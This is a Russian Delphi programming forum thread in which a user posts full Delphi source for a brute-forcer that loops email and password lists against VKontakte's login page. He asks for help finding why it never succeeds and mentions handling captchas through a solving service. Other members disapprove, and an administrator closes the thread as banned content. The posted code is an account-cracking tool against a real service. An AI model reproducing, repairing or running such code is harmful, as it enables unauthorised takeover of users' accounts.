Форум по Delphi программированию

Delphi Sources



Вернуться   Форум по Delphi программированию > Все о Delphi > Интернет и сети
Ник
Пароль
Регистрация <<         Правила форума         >> FAQ Пользователи Календарь Поиск Сообщения за сегодня Все разделы прочитаны

Закрытая тема
 
Опции темы Поиск в этой теме Опции просмотра
  #1  
Старый 03.09.2011, 15:24
Vasa2 Vasa2 вне форума
Прохожий
 
Регистрация: 03.09.2011
Сообщения: 1
Репутация: 10
По умолчанию Брут для Вконтакте в делфи. Помогите найти ошибку в коде

Вот весь исходный код.

А проблема скорээ всего в цикле, всегда показивает, что пароль не подходит, хотя он правильный

PHP код:
var
  
emails:TStringList;  // список мыл
  
pass:TStringList;    // список паролей
  
post:TStringList;    // список полей пост запроса
  
i,j:integer;          // счетчики циклов
  
httpTidHTTP ;
  
result:String;

begin
  emails
:=TStringList.Createpass:=TStringList.Create;  // Инициализируем переменные
      
emails.Add('маил@mail.com');
      
pass.Add('пароль');
      
pass.Add('123456');
      
pass.Add('парольдругой');    
       
http:=TidHTTP.Create(nil);      // создаем HTTPClient
  
http.HandleRedirects:=true;   
  
post:=tstringlist.Create;           // этот стринг лист содержит поля e-mail и пароль
  
for i:=0 to emails.Count-do begin   // перебираем в цикле мыльники
     
post.Clear// отчищаем
   
post.Add('email='+emails.Strings[i]); // указываем e-mail
    
for j:=0 to pass.Count-do begin         // перебираем пароли для выбранного мыльника
    
post.Clear// отчищаем
      
post.Add('pass='+pass.Strings[j]);       // указываем пароль
      
result:=http.Post('http://vkontakte.ru/login.php',post);  // посылаем запрос
      
if pos('logout',result)>0 then  // проверяем ответ
       
begin
Memo1
.Lines.Add(Pass.Strings[j]+' - подходит') ;
      
end
      
else
Memo1.Lines.Add(Pass.Strings[j]+' - не подходит');
    
end;
  
end;
 
  
// освободим переменные
  
emails.Free;
  
pass.Free;
  
http.Free;
  
post.Free;
end

P.S. Про капчу не спрашивайте, уже все сделано, или вводить самому, или воспользоватся сервисом "antigate"
  #2  
Старый 03.09.2011, 15:37
Аватар для GriLab
GriLab GriLab вне форума
Начинающий
 
Регистрация: 26.11.2010
Адрес: Минск
Сообщения: 190
Версия Delphi: XE 15.0.3890
Репутация: 415
По умолчанию

Vasa2, нехорошими однако делами вы занимаетесь
Насколько я знаю, лучше через ВКонтакте UserAPI делать. Почитайте ВКонтакте в разделе "Разработчикам -> Desktop-приложениия".

P.S. Сравните свой код с данными и найдете ошибку: http://avtuh.ru/2010/05/12/delphi-in...vkontakte.html
  #3  
Старый 03.09.2011, 15:53
Аватар для Admin
Admin Admin вне форума
Администратор
 
Регистрация: 03.10.2005
Адрес: Россия, Москва
Сообщения: 1,564
Версия Delphi: Delphi 7
Репутация: выкл
По умолчанию

Цитата:
Сообщение от Vasa2
Брут для Вконтакте в делфи...
Размещение подобных тем запрещено!
Читаем правила форума!
Закрытая тема


Delphi Sources

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать темы
Вы не можете отвечать на сообщения
Вы не можете прикреплять файлы
Вы не можете редактировать сообщения

BB-коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.
Быстрый переход


Часовой пояс GMT +3, время: 20:41.


 

Сайт

Форум

FAQ

RSS лента

Прочее

 

Copyright © Форум "Delphi Sources" by BrokenByte Software, 2004-2023

ВКонтакте   Facebook   Twitter